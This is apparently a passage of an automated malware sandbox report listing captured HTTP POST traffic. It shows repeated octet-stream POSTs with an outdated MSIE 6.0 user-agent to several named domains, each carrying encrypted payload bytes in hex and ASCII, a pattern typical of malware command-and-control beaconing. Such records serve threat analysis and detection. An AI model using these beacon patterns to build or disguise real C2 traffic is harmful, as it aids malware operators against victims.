45 79 42 37 54 7a 68 50 2f 39 6e 68 45 42 6a 45 4c 75 57 67 72 37 38 5a 79 48 64 47 53 48 6c 6f 69 35 77 39 5a 64 4c 79 66 64 52 39 4d 77 42 4a 33 6f 43 30 31 59 77 4f 61 54 4e 61 72 46 39 71 79 71 51 4f 70 6f 34 4e 6c 47 6c 6e 34 6d 7a 6e 46 4f 6e 35 6d 42 41 47 6a 70 6c 78 6f 6b 4c 4c 36 42 48 4d 52 5a 42 30 36 55 79 79 6c 68 4b 6c 74 62 42 47 45 4e 43 68 75 39 63 77 69 66 71 4a 52 41 42 33 4a 51 65 32 73 57 61 38 50 4d 56 65 36 58 74 45 70 37 2f 33 57 64 6b 37 6f 46 45 4d 67 31 39 75 45 59 35 63 30 50 67 44 7a 6b 46 67 4c 69 4f 4f 5a 65 32 69 62 33 4d 70 58 6f 4e 4a 56 2b 61 4c 61 66 70 52 4f 45 39 61 4c 54 39 58 51 36 2b 6c 43 48 38 54 63 69 2f 77 66 76 38 69 4e 41 38 52 51 30 58 43 54 2b 6b 6d 72 38 6a 4d 53 69 35 54 52 46 37 54 44 4c 59 6f 61 6c 4c 54 51 32 6f 47 4b 42 57 70 52 52 4f 43 74 64 49 50 52 45 59 4d 4f 6b 4a 69 34 4d 64 62 65 79 57 63 51 2b 51 6b 44 43 30 33 41 30 41 71 39 75 55 49 30 33 4d 57 6f 72 36 73 2b 4a 6b 68 72 59 74 76 46 4e 34 2f 58 5a 36 77 3d 3d Data Ascii: yuezHjQpk/UUwBPcj8NmXYcOpfcskuPLqDEV2/oW9ISiIuiquNX2ZJMAasjL3p9GRyueTKszeRvQuGuhrugm0ShAgK/tJmB06k1stOijX0IkE+B4pnpn3Dbwf1+LXR5X1nzWtRH/3/5AdwT7D9yPdNgdWpt03aydHZOqQM+N8UsGRJtTqfTJP6RhSZXB6t81CFiAyeYzsBRzycMQZNj3RjKJOa1OIJEzVS5dc5mzCvIZH0gY0dqN+1/KQizr5XUiuknGAmEyB7TzhP/9nhEBjELuWgr78ZyHdGSHloi5w9ZdLyfdR9MwBJ3oC01YwOaTNarF9qyqQOpo4NlGln4mznFOn5mBAGjplxokLL6BHMRZB06UyylhKltbBGENChu9cwifqJRAB3JQe2sWa8PMVe6XtEp7/3Wdk7oFEMg19uEY5c0PgDzkFgLiOOZe2ib3MpXoNJV+aLafpROE9aLT9XQ6+lCH8Tci/wfv8iNA8RQ0XCT+kmr8jMSi5TRF7TDLYoalLTQ2oGKBWpRROCtdIPREYMOkJi4MdbeyWcQ+QkDC03A0Aq9uUI03MWor6s+JkhrYtvFN4/XZ6w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 52 4d 37 58 35 6a 33 2b 73 6c 7a 6b 59 42 54 6a 7a 71 79 7a 4e 31 52 6a 43 6f 6e 55 4c 6e 36 4e 6d 51 59 37 45 75 37 47 49 2b 64 42 45 4e 49 7a 61 59 63 30 6d 51 35 4d 74 38 57 46 4e 51 35 5a 50 58 36 69 79 55 72 4f 4d 52 79 6b 36 30 72 78 54 52 6e 48 58 66 31 58 6a 6f 38 66 69 67 64 4d 55 50 6f 37 54 65 67 4c 79 35 33 79 34 58 7a 65 74 2b 4f 34 57 6d 65 33 42 58 64 38 79 45 67 32 4e 5a 36 6c 4c 4b 6f 71 4a 6c 5a 42 53 79 6d 42 43 70 47 56 66 59 42 2b 58 50 70 68 63 41 65 57 30 2b 42 34 6e 4e 70 5a 44 4f 38 59 70 4b 6f 70 46 6a 66 56 57 32 7a 4f 48 67 61 4a 63 77 74 71 38 48 6f 58 6f 2b 48 50 69 6c Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.olras.comCache-Control: no-cacheData Raw: 43 67 55 6c 4c 50 61 59 6b 2f 55 73 73 50 6c 2f 55 62 76 6c 63 35 6d 4a 69 41 41 57 38 74 52 4d 69 6c 54 65 35 48 44 62 33 70 32 42 77 30 4e 6a 41 54 43 6f 67 5a 67 5a 73 5a 6c 4f 31 41 57 4c 35 55 73 6d 66 56 70 5a 70 46 49 59 64 77 64 48 6e 34 4c 41 73 50 4a 77 38 2b 4b 44 63 69 39 6f 4d 2b 70 54 48 4b 78 57 51 32 66 49 30 2b 4d 54 72 31 4b 77 44 51 77 70 64 47 53 6b 65 44 61 78 43 55 68 72 67 46 4d 62 71 74 79 53 4c 2f 35 73 39 72 77 37 47 64 4b 38 53 68 77 31 78 4e 50 41 6c 69 47 43 46 2f 4a 47 73 32 51 74 50 52 6f 4b 30 35 70 76 41 31 61 51 52 43 53 64 33 35 78 79 6d 4c 30 6c 5a 70 4c 45 4a 70 67 59 46 47 58 50 32 56 41 6e 78 6f 53 6f 70 46 37 4d 42 6e 34 34 43 79 74 6c 69 4b 38 4c 50 50 7a 50 4e 43 51 50 73 68 30 54 4d 4e 6f 50 58 39 4e 39 4b 38 31 70 51 36 52 43 37 49 53 64 32 75 5a 45 33 35 71 6c 69 31 6d 63 5a 49 54 48 6d 75 41 62 78 65 2b 73 4c 32 56 35 38 6e 57 63 51 44 50 67 30 4e 35 70 38 6c 46 2b 4d 53 69 51 63 58 45 41 35 48 63 53 56 59 65 66 54 62 38 6c 73 6d 37 75 77 62 5a 71 6b 62 6a 33 30 6f 61 79 47 5a 74 50 55 41 4e 54 47 55 75 75 42 2b 76 77 35 66 39 47 33 74 79 61 43 4e 61 61 30 59 35 6b 74 2f 77 4d 38 7a 64 37 2b 6f 52 63 62 2b 67 44 4b 42 39 77 66 32 59 74 4d 4a 4c 6d 41 58 78 48 43 57 72 79 78 77 4b 64 44 53 55 45 73 41 34 32 77 77 54 32 65 50 78 53 51 4e 32 51 46 30 31 4c 51 52 67 6d 62 41 73 38 38 75 4c 4b 34 4b 6b 4a 2b 33 59 74 65 38 56 73 75 46 58 79 55 61 79 51 6c 6f 58 45 78 46 4f 4d 72 71 7a 33 48 56 66 33 66 63 2b 6e 6b 6a 68 41 72 42 61 6c 30 4d 5a 63 6e 70 55 75 4e 54 79 38 63 38 6f 71 78 70 64 53 46 34 53 33 78 4d 67 57 44 68 4e 5a 43 41 58 4a 61 4e 75 4d 75 2f 6e 6b 6c 61 68 35 65 49 61 44 38 47 39 6b 4c 59 71 39 4e 6a 68 4d 39 6a 53 54 79 38 50 79 75 76 61 6c 39 44 5a 43 71 33 2f 67 4d 75 51 54 68 53 48 64 4b 62 65 7a 71 64 6c 4f Data Ascii: CgUlLPaYk/UssPl/Ubvlc5mJiAAW8tRMilTe5HDb3p2Bw0NjATCogZgZsZlO1AWL5UsmfVpZpFIYdwdHn4LAsPJw8+KDci9oM+pTHKxWQ2fI0+MTr1KwDQwpdGSkeDaxCUhrgFMbqtySL/5s9rw7GdK8Shw1xNPAliGCF/JGs2QtPRoK05pvA1aQRCSd35xymL0lZpLEJpgYFGXP2VAnxoSopF7MBn44CytliK8LPPzPNCQPsh0TMNoPX9N9K81pQ6RC7ISd2uZE35qli1mcZITHmuAbxe+sL2V58nWcQDPg0N5p8lF+MSiQcXEA5HcSVYefTb8lsm7uwbZqkbj30oayGZtPUANTGUuuB+vw5f9G3tyaCNaa0Y5kt/wM8zd7+oRcb+gDKB9wf2YtMJLmAXxHCWryxwKdDSUEsA42wwT2ePxSQN2QF01LQRgmbAs88uLK4KkJ+3Yte8VsuFXyUayQloXExFOMrqz3HVf3fc+nkjhArBal0MZcnpUuNTy8c8oqxpdSF4S3xMgWDhNZCAXJaNuMu/nklah5eIaD8G9kLYq9NjhM9jSTy8Pyuval9DZCq3/gMuQThSHdKbezqdlO
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wkhk.netCache-Control: no-cacheData Raw: 65 33 63 2b 4b 69 6d 4a 6b 2f 56 4f 71 74 6c 32 2b 45 43 55 34 6b 4a 7a 2b 42 72 48 44 62 69 6e 62 61 61 76 4b 64 59 62 61 77 34 56 2f 32 78 4f 46 66 4d 2b 32 79 32 79 72 65 38 41 32 66 33 4e 78 64 4f 55 58 6d 33 42 78 78 64 76 6b 64 69 79 36 65 68 4c 35 33 35 2f 31 44 32 62 62 67 71 53 45 41 4c 43 37 71 31 75 34 6e 63 4a 35 6f 36 6d 39 51 66 4e 56 75 37 7a 48 32 6f 6d 41 79 6e 6c 59 6a 4e 46 38 6c 66 51 4a 35 71 55 43 4d 31 48 2b 75 4b 37 33 32 74 56 5a 61 33 57 43 4e 43 48 64 53 59 70 37 79 4a 62 44 75 35 54 36 70 6b 38 65 6b 68 76 53 6a 43 6f 57 46 77 4d 57 63 66 68 63 58 64 4b 65 74 4d 52 50 64 69 7a 35 56 2b 76 4f 4a 37 64 49 71 49 56 36 4a 2b 51 4a 66 77 39 5a 41 4b 39 6f 59 5a 75 46 61 2f 57 45 64 34 34 45 64 74 55 50 41 74 63 68 61 6d 7a 4f 68 66 69 69 75 6c 49 66 76 76 35 4a 71 5a 6f 38 61 6d 4d 79 44 37 57 69 52 36 4b 6b 31 6a 37 32 32 69 33 33 50 4f 58 59 4e 4d 39 73 47 50 55 34 35 76 4a 67 52 35 31 4d 42 4f 65 46 38 6a 4c 5a 61 68 36 62 48 39 41 6f 62 70 61 31 61 75 79 71 42 7a 50 34 76 6f 71 56 30 59 70 6b 67 68 51 72 35 34 2f 46 68 44 4b 4f 56 6d 46 35 75 6b 31 34 76 6d 5a 41 74 6c 34 6e 6e 57 77 2b 77 79 45 56 41 71 52 2b 57 51 6b 67 42 73 39 6c 73 4c 63 51 45 7a 65 65 6c 33 36 42 6d 46 4a 44 76 4b 61 42 4c 54 38 6a 46 47 64 44 43 77 61 69 4d 71 66 48 35 36 4d 4e 31 64 70 50 50 44 62 54 64 74 51 52 6a 66 6b 50 42 4a 68 45 2f 59 5a 71 59 45 51 67 35 70 78 55 59 2f 34 65 55 61 76 34 37 69 43 79 63 34 53 56 39 4d 38 33 4b 34 71 36 38 6a 33 71 30 53 6f 5a 58 52 6d 6e 79 37 6b 6f 39 77 2b 6b 41 5a 68 78 57 34 4e 4c 6d 4d 55 71 76 33 73 79 47 30 6b 6b 4f 39 33 50 4b 52 2f 64 2f 47 6b 63 65 58 51 41 43 57 64 62 56 67 68 46 61 71 75 4b 38 6f 3d Data Ascii: e3c+KimJk/VOqtl2+ECU4kJz+BrHDbinbaavKdYbaw4V/2xOFfM+2y2yre8A2f3NxdOUXm3Bxxdvkdiy6ehL535/1D2bbgqSEALC7q1u4ncJ5o6m9QfNVu7zH2omAynlYjNF8lfQJ5qUCM1H+uK732tVZa3WCNCHdSYp7yJbDu5T6pk8ekhvSjCoWFwMWcfhcXdKetMRPdiz5V+vOJ7dIqIV6J+QJfw9ZAK9oYZuFa/WEd44EdtUPAtchamzOhfiiulIfvv5JqZo8amMyD7WiR6Kk1j722i33POXYNM9sGPU45vJgR51MBOeF8jLZah6bH9Aobpa1auyqBzP4voqV0YpkghQr54/FhDKOVmF5uk14vmZAtl4nnWw+wyEVAqR+WQkgBs9lsLcQEzeel36BmFJDvKaBLT8jFGdDCwaiMqfH56MN1dpPPDbTdtQRjfkPBJhE/YZqYEQg5pxUY/4eUav47iCyc4SV9M83K4q68j3q0SoZXRmny7ko9w+kAZhxW4NLmMUqv3syG0kkO93PKR/d/GkceXQACWdbVghFaquK8o=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.quadlock.comCache-Control: no-cacheData Raw: 33 6f 73 71 4a 66 4e 65 6b 2f 56 58 7a 37 34 4c 4f 70 64 36 73 70 77 70 34 66 56 5a 30 4a 4f 79 31 2f 76 36 4b 59 6f 6a 48 32 2f 38 30 50 4b 69 35 32 52 50 43 6d 43 43 6a 49 43 2f 7a 51 56 4e 62 4c 79 52 6b 50 77 6e 61 4c 74 49 68 50 37 7a 78 58 71 46 41 65 41 76 79 46 4d 4a 76 4a 6c 43 61 49 64 6b 73 48 76 6f 50 35 36 75 7a 43 2b 43 69 6b 42 75 56 7a 39 58 7a 53 41 53 4d 4b 36 64 6c 6c 46 57 6d 65 6a 6b 48 35 55 2f 4d 73 35 48 72 43 66 45 61 42 39 77 46 2b 75 35 54 47 42 2f 77 75 61 54 38 6c 72 4f 65 50 6c 52 72 61 45 53 36 31 46 44 63 52 75 50 5a 31 6c 37 64 44 6e 5a 46 66 6b 6c 56 5a 48 4c 36 79 4e 57 6c 43 62 46 52 68 4f 61 36 49 48 49 59 67 4d 71 32 61 35 56 32 76 4a 59 64 35 72 43 55 6b 46 31 4b 35 59 34 6b 33 79 44 6b 6b 30 56 4d 35 55 2b 4b 74 71 59 77 42 6a 2b 75 67 56 37 6f 2b 53 37 33 4e 36 54 6a 72 4a 33 75 77 74 62 7a 4c 78 66 76 59 49 2b 51 49 57 34 4b 52 71 6c 74 72 58 53 78 31 76 35 57 31 6f 57 45 38 67 45 4e 6e 30 5a 35 66 32 36 63 45 36 41 59 6b 2f 2f 57 56 30 6d 4c 30 6b 74 4d 4a 33 6b 58 36 39 4c 72 72 33 75 70 4c 67 47 2f 71 45 68 77 4b 49 61 44 44 79 74 38 4c 79 54 38 75 6a 6e 44 55 4f 6b 68 69 64 64 68 4b 4d 57 55 76 57 71 4a 51 50 78 7a 67 4c 4a 7a 58 63 54 45 63 31 75 70 71 76 57 47 56 6e 56 6c 47 47 68 56 32 39 4f 6f 47 4c 66 51 32 79 49 54 47 2f 55 64 67 68 58 36 37 78 39 30 4c 36 6d 39 79 51 62 69 61 4a 78 5a 74 2f 62 37 62 36 6b 43 7a 54 66 6d 6c 79 6a 7a 6c 71 57 66 78 48 30 68 7a 53 6e 53 5a 45 79 63 2b 35 65 4f 38 65 67 49 6d 4a 43 52 35 41 4d 72 78 59 2f 55 4c 46 30 53 67 52 6e 6f 33 30 4f 32 6f 53 32 78 78 75 55 37 4a 66 66 51 6a 37 44 2f 59 30 46 6a 64 43 67 77 59 32 55 6e 6f 72 5a 41 70 6a 76 43 70 44 4d 71 75 50 37 4c 6b 4c 35 33 48 73 3d Data Ascii: 3osqJfNek/VXz74LOpd6spwp4fVZ0JOy1/v6KYojH2/80PKi52RPCmCCjIC/zQVNbLyRkPwnaLtIhP7zxXqFAeAvyFMJvJlCaIdksHvoP56uzC+CikBuVz9XzSASMK6dllFWmejkH5U/Ms5HrCfEaB9wF+u5TGB/wuaT8lrOePlRraES61FDcRuPZ1l7dDnZFfklVZHL6yNWlCbFRhOa6IHIYgMq2a5V2vJYd5rCUkF1K5Y4k3yDkk0VM5U+KtqYwBj+ugV7o+S73N6TjrJ3uwtbzLxfvYI+QIW4KRqltrXSx1v5W1oWE8gENn0Z5f26cE6AYk//WV0mL0ktMJ3kX69Lrr3upLgG/qEhwKIaDDyt8LyT8ujnDUOkhiddhKMWUvWqJQPxzgLJzXcTEc1upqvWGVnVlGGhV29OoGLfQ2yITG/UdghX67x90L6m9yQbiaJxZt/b7b6kCzTfmlyjzlqWfxH0hzSnSZEyc+5eO8egImJCR5AMrxY/ULF0SgRno30O2oS2xxuU7JffQj7D/Y0FjdCgwY2UnorZApjvCpDMquP7LkL53Hs=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pdqhomes.comCache-Control: no-cacheData Raw: 62 68 55 54 4d 4b 4f 35 6b 2f 58 76 39 59 56 32 4b 6c 4c 52 73 63 78 4c 4e 4c 33 4a 43 49 50 69 68 79 6b 79 69 55 6b 34 64 2f 62 76 45 33 34 57 4b 31 67 59 58 59 69 76 51 63 68 63 6c 6a 4e 75 57 49 74 67 64 46 6c 65 57 2b 44 33 51 61 73 73 32 4c 4c 65 64 37 30 42 46 4c 2b 77 47 6c 73 71 33 51 34 58 6f 63 55 63 4c 44 57 71 48 64 4d 43 6b 5a 4e 4d 4c 76 4e 34 63 57 64 70 6e 53 7a 2b 7a 74 36 53 78 70 33 46 43 6c 50 64 6c 5a 31 63 4b 4d 72 4e 53 4a 4b 48 6f 6b 58 43 71 5a 31 74 67 6e 51 61 56 70 47 63 74 69 53 45 47 36 41 34 2b 44 45 35 38 6b 62 35 45 69 67 43 50 71 4e 7a 44 53 74 70 61 44 52 43 58 30 4b 71 39 74 6b 74 4b 33 58 6a 70 34 55 58 62 72 44 65 2b 38 69 6e 38 65 63 41 4a 4d 32 31 4f 4e 68 6d 56 48 55 61 48 4c 47 6c 6c 47 6c 46 49 61 66 70 2b 70 62 57 46 42 39 33 44 44 57 64 32 65 4f 6d 36 75 76 35 6d 35 63 70 34 64 53 6f 62 42 68 63 73 39 34 4d 68 2f 6b 6b 71 64 62 34 71 35 5a 49 52 34 4c 4b 6c 5a 55 4e 42 35 41 71 6b 68 72 6a 67 68 48 72 64 6c 77 73 34 41 76 46 4d 55 32 44 75 56 68 71 64 7a 5a 61 4a 6f 67 69 4c 75 6d 4e 51 65 75 42 6d 76 37 65 45 54 71 5a 39 36 36 70 49 36 44 56 6a 4c 2b 44 35 51 47 43 56 39 49 55 31 69 68 4b 66 6f 39 74 36 4d 4e 4b 75 52 2b 65 68 61 32 37 35 66 6a 70 6d 39 73 6f 57 73 39 37 49 57 54 46 4e 37 56 79 2b 4f 4b 70 2f 71 45 6a 53 39 33 7a 6f 71 2f 71 47 71 38 4b 55 4c 77 68 70 4e 6a 2b 62 6d 67 2b 5a 39 63 45 2b 50 79 57 54 4a 35 57 36 68 53 2b 6d 4b 73 47 48 57 5a 6d 33 41 74 49 2f 6f 59 61 30 33 39 35 33 54 63 6d 36 63 53 30 5a 72 71 31 78 4a 77 4f 48 76 57 77 4c 74 51 6e 51 49 35 54 64 38 2b 62 33 2f 46 64 51 4d 32 6e 58 31 70 50 33 32 56 5a 62 48 7a 52 32 76 53 41 45 6a 46 41 7a 50 6e 75 58 51 4f 76 6c 38 70 4e 48 32 44 79 4a 43 74 46 77 51 78 71 Data Ascii: bhUTMKO5k/Xv9YV2KlLRscxLNL3JCIPihykyiUk4d/bvE34WK1gYXYivQchcljNuWItgdFleW+D3Qass2LLed70BFL+wGlsq3Q4XocUcLDWqHdMCkZNMLvN4cWdpnSz+zt6Sxp3FClPdlZ1cKMrNSJKHokXCqZ1tgnQaVpGctiSEG6A4+DE58kb5EigCPqNzDStpaDRCX0Kq9tktK3Xjp4UXbrDe+8in8ecAJM21ONhmVHUaHLGllGlFIafp+pbWFB93DDWd2eOm6uv5m5cp4dSobBhcs94Mh/kkqdb4q5ZIR4LKlZUNB5AqkhrjghHrdlws4AvFMU2DuVhqdzZaJogiLumNQeuBmv7eETqZ966pI6DVjL+D5QGCV9IU1ihKfo9t6MNKuR+eha275fjpm9soWs97IWTFN7Vy+OKp/qEjS93zoq/qGq8KULwhpNj+bmg+Z9cE+PyWTJ5W6hS+mKsGHWZm3AtI/oYa03953Tcm6cS0Zrq1xJwOHvWwLtQnQI5Td8+b3/FdQM2nX1pP32VZbHzR2vSAEjFAzPnuXQOvl8pNH2DyJCtFwQxq
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jenco.co.ukCache-Control: no-cacheData Raw: 79 75 65 7a 48 6a 51 70 6b 2f 55 55 77 42 50 63 6a 38 4e 6d 58 59 63 4f 70 66 63 73 6b 75 50 4c 71 44 45 56 32 2f 6f 57 39 49 53 69 49 75 69 71 75 4e 58 32 5a 4a 4d 41 61 73 6a 4c 33 70 39 47 52 79 75 65 54 4b 73 7a 65 52 76 51 75 47 75 68 72 75 67 6d 30 53 68 41 67 4b 2f 74 4a 6d 42 30 36 6b 31 73 74 4f 69 6a 58 30 49 6b 45 2b 42 34 70 6e 70 6e 33 44 62 77 66 31 2b 4c 58 52 35 58 31 6e 7a 57 74 52 48 2f 33 2f 35 41 64 77 54 37 44 39 79 50 64 4e 67 64 57 70 74 30 33 61 79 64 48 5a 4f 71 51 4d 2b 4e 38 55 73 47 52 4a 74 54 71 66 54 4a 50 36 52 68 53 5a 58 42 36 74 38 31 43 46 69 41 79 65 59 7a 73 42 52 7a 79 63 4d 51 5a 4e 6a 33 52 6a 4b 4a 4f 61 31 4f 49 4a 45 7a 56 53 35 64 63 35 6d 7a 43 76 49 5a 48 30 67 59 30 64 71 4e 2b 31 2f 4b 51 69 7a 72 35 58 55 69 75 6b 6e 47 41 6d 45 79 42 37 54 7a 68 50 2f 39 6e 68 45 42 6a 45 4c 75 57 67 72 37 38 5a 79 48 64 47 53 48 6c 6f 69 35 77 39 5a 64 4c 79 66 64 52 39 4d 77 42 4a 33 6f 43 30 31 59 77 4f 61 54 4e 61 72 46 39 71 79 71 51 4f 70 6f 34 4e 6c 47 6c 6e 34 6d 7a 6e 46 4f 6e 35 6d 42 41 47 6a 70 6c 78 6f 6b 4c 4c 36 42 48 4d 52 5a 42 30 36 55 79 79 6c 68 4b 6c 74 62 42 47 45 4e 43 68 75 39 63 77 69 66 71 4a 52 41 42 33 4a 51 65 32 73 57 61 38 50 4d 56 65 36 58 74 45 70 37 2f 33 57 64 6b 37 6f 46 45 4d 67 31 39 75 45 59 35 63 30 50 67 44 7a 6b 46 67 4c 69 4f 4f 5a 65 32 69 62 33 4d 70 58 6f 4e 4a 56 2b 61 4c 61 66 70 52 4f 45 39 61 4c 54 39 58 51 36 2b 6c 43 48 38 54 63 69 2f 77 66 76 38 69 4e 41 38 52 51 30 58 43 54 2b 6b 6d 72 38 6a 4d 53 69 35 54 52 46 37 54 44 4c 59 6f 61 6c 4c 54 51 32 6f 47 4b 42 57 70 52 52 4f 43 74 64 49 50 52 45 59 4d 4f 6b 4a 69 34 4d 64 62 65 79 57 63 51 2b 51 6b 44 43 30 33 41 30 41 71 39 75 55 49 30 33 4d 57 6f 72 36 73 2b 4a 6b 68 72 59 74 76 46 4e 34 2f 58 5a 36 77 3d 3d Data Ascii: yuezHjQpk/UUwBPcj8NmXYcOpfcskuPLqDEV2/oW9ISiIuiquNX2ZJMAasjL3p9GRyueTKszeRvQuGuhrugm0ShAgK/tJmB06k1stOijX0IkE+B4pnpn3Dbwf1+LXR5X1nzWtRH/3/5AdwT7D9yPdNgdWpt03aydHZOqQM+N8UsGRJtTqfTJP6RhSZXB6t81CFiAyeYzsBRzycMQZNj3RjKJOa1OIJEzVS5dc5mzCvIZH0gY0dqN+1/KQizr5XUiuknGAmEyB7TzhP/9nhEBjELuWgr78ZyHdGSHloi5w9ZdLyfdR9MwBJ3oC01YwOaTNarF9qyqQOpo4NlGln4mznFOn5mBAGjplxokLL6BHMRZB06UyylhKltbBGENChu9cwifqJRAB3JQe2sWa8PMVe6XtEp7/3Wdk7oFEMg19uEY5c0PgDzkFgLiOOZe2ib3MpXoNJV+aLafpROE9aLT9XQ6+lCH8Tci/wfv8iNA8RQ0XCT+kmr8jMSi5TRF7TDLYoalLTQ2oGKBWpRROCtdIPREYMOkJi4MdbeyWcQ+QkDC03A0Aq9uUI03MWor6s+JkhrYtvFN4/XZ6w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 44 37 79 33 47 32 6b 51 6b 2f 56 6c 52 6b 32 42 4f 4a 36 78 35 34 4b 34 51 30 55 48 39 76 72 7a 72 66 6d 31 36 61 2b 70 2b 42 62 4b 68 6d 59 4c 58 65 44 63 47 38 2b 4f 38 68 4c 53 53 41 41 6c 43 76 43 7a 32 56 2b 69 47 4a 5a 42 4e 65 30 48 4b 66 63 52 31 53 31 54 30 79 4a 6b 57 67 45 35 47 42 4a 32 55 63 65 6e 55 75 49 41 34 41 45 2b 45 32 73 44 6b 76 68 6c 5a 30 62 34 70 39 6b 46 35 51 41 43 6e 4c 62 51 41 57 72 4b 78 69 4c 67 7a 65 69 68 68 53 2f 36 61 73 39 75 66 58 4b 71 73 6b 4e 78 52 42 52 38 6c 72 5a 75 2b 53 61 54 53 55 41 35 61 61 63 72 55 35 73 31 42 2f 57 73 57 74 4f 39 33 61 62 69 42 54 57 65 43 39 34 6d 65 46 5a 37 33 68 4c 72 31 51 42 6a 6e 48 56 71 48 45 59 64 41 49 30 39 78 62 4a 65 55 67 74 46 74 33 6b 69 4c 4e 56 6b 33 48 72 4d 52 72 46 73 7a 43 6d 2f 67 2f 4c 51 48 44 61 2f 43 31 6f 32 2f 48 4c 65 59 6d 4f 47 65 4e 75 66 35 58 58 51 45 36 4d 70 72 79 4f 4b 43 70 51 47 6c 39 6e 4c 67 4b 66 74 72 30 76 76 66 45 46 45 75 32 56 36 34 69 49 6b 64 79 78 34 43 44 59 58 70 55 59 56 32 49 78 49 6d 64 58 42 4d 61 35 6b 6f 52 74 65 42 62 66 4e 58 57 59 78 64 4f 58 51 55 47 6b 42 44 2b 75 30 6c 64 34 5a 51 39 6f 78 37 57 76 7a 32 71 39 50 57 59 6b 59 2b 59 73 4b 6d 43 4e 35 7a 34 33 46 48 6e 74 55 78 31 38 7a 58 33 72 50 45 57 45 47 48 52 4f 2b 57 2f 32 2f 65 51 5a 48 4f 44 50 65 39 35 34 30 65 38 58 7a 48 6d 58 47 57 63 49 2f 4f 35 4e 61 50 63 79 41 54 59 31 47 62 30 32 4b 38 52 66 4f 4c 64 61 52 74 42 58 76 4b 67 43 46 62 6b 52 4f 75 53 41 50 65 75 37 33 4d 45 43 49 44 7a 68 37 4b 61 53 6a 79 62 64 57 4a 52 4f 4f 6c 71 32 6c 64 46 6d 31 59 50 46 6a 75 36 36 69 78 4a 56 61 50 32 47 55 4d 53 54 31 56 50 67 44 4f 6c 33 65 78 74 6d 6d 36 50 51 63 Data Ascii: 